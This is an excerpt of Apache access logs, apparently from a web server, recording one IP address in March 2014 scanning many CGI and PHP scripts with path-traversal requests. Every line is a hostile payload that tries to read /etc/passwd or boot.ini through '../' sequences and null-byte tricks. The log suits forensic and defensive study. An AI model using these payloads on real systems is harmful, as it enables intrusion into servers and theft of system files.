/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:20:42 -0400] "GET /webmail/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:21:43 -0400] "GET /webmail/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:22:34 -0400] "GET /phpgb/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:22:43 -0400] "GET /webmail/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:23:34 -0400] "GET /phpgb/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:26:05 -0400] "GET /webmail/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:27:05 -0400] "GET /webmail/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:27:18 -0400] "GET /news/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:29:05 -0400] "GET /webmail/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:31:20 -0400] "GET /news/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:31:20 -0400] "GET /news/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:32:06 -0400] "GET /webmail/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:33:20 -0400] "GET /news/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:33:34 -0400] "GET /phprojekt-3.1/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:34:34 -0400] "GET /phprojekt-3.1/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:36:21 -0400] "GET /news/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:38:21 -0400] "GET /news/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:39:22 -0400] "GET /news/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:40:22 -0400] "GET /news/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:41:22 -0400] "GET /news/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:42:59 -0400] "GET /phprojekt-3.1a/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:43:59 -0400] "GET /phprojekt-3.1a/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:44:43 -0400] "GET /news/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:44:47 -0400] "GET /forum/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:45:43 -0400] "GET /news/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:48:48 -0400] "GET /forum/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:48:48 -0400] "GET /forum/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:47:43 -0400] "GET /news/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:50:44 -0400] "GET /news/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:50:49 -0400] "GET /forum/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:53:49 -0400] "GET /forum/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:55:50 -0400] "GET /forum/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:56:50 -0400] "GET /forum/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:57:50 -0400] "GET /forum/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:58:43 -0400] "GET /phpgb/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:04:58:50 -0400] "GET /forum/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:02:44 -0400] "GET /phpgb/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:02:44 -0400] "GET /phpgb/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:02:11 -0400] "GET /forum/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:03:11 -0400] "GET /forum/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:04:44 -0400] "GET /phpgb/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:05:11 -0400] "GET /forum/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:05:49 -0400] "GET /phprojekt-3.1b/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:06:49 -0400] "GET /phprojekt-3.1b/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:07:45 -0400] "GET /phpgb/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:08:12 -0400] "GET /forum/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:09:42 -0400] "GET /phprojekt-3.1/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:09:46 -0400] "GET /phpgb/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:10:46 -0400] "GET /phpgb/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:11:46 -0400] "GET /phpgb/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:12:14 -0400] "GET /forum/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:13:43 -0400] "GET /phprojekt-3.1/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:13:43 -0400] "GET /phprojekt-3.1/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.45.gz:127.0.1.1:80 38.99.132.228 - - [15/Mar/2014:05:12:46 -0400] "GET /phpgb/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:15:20 -0400] "GET /../../../../../../../../../../../ HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:18 -0400] "GET /cgi-bin/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:18 -0400] "GET /cgi-bin/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 531 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 404 534 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 404 539 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:19 -0400] "GET /cgi-bin/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 404 536 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:20 -0400] "GET /cgi-bin/a1disp3.cgi?../../../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:29:20 -0400] "GET /cgi-bin/viewsrc.cgi?loc=../../../../../etc/passwd HTTP/1.1" 404 535 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:39:57 -0400] "GET /_vti_pvt/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:06:40:57 -0400] "GET /_vti_pvt/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:16:06 -0400] "GET /_vti_pvt/loadpage.cgi?user_id=1&file=../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:16:29 -0400] "GET /_vti_bin/cgiforum.pl?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:17:29 -0400] "GET /_vti_bin/cgiforum.cgi?thesection=../../../../../../../etc/passwd%00 HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:20:07 -0400] "GET /_vti_pvt/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../boot.ini HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:20:07 -0400] "GET /_vti_pvt/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../../../../../../etc/passwd HTTP/1.1" 400 510 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:22:07 -0400] "GET /_vti_pvt/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:25:08 -0400] "GET /_vti_pvt/hsx.cgi?show=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:27:09 -0400] "GET /_vti_pvt/webspirs.cgi?sp.nextform=../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:28:09 -0400] "GET /_vti_pvt/shopper.cgi?newpage=../../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:29:09 -0400] "GET /_vti_pvt/shopper.cgi?newpage=../../../../../../../../boot.ini HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:30:09 -0400] "GET /_vti_pvt/common.php?f=0&ForumLang=../../../../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:33:30 -0400] "GET /_vti_pvt/sendtemp.pl?templ=../../../../etc/passwd HTTP/1.1" 200 20865 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:34:30 -0400] "GET /_vti_pvt/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd HTTP/1.1" 200 24983 "-" "-"
/var/log/apache2/other_vhosts_access.log.46.gz:127.0.1.1:80 38.99.132.228 - - [09/Mar/2014:07:36:31 -0400] "GET /_vti_pvt/talkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1 HTTP/1.1" 200 16747 "-" "-"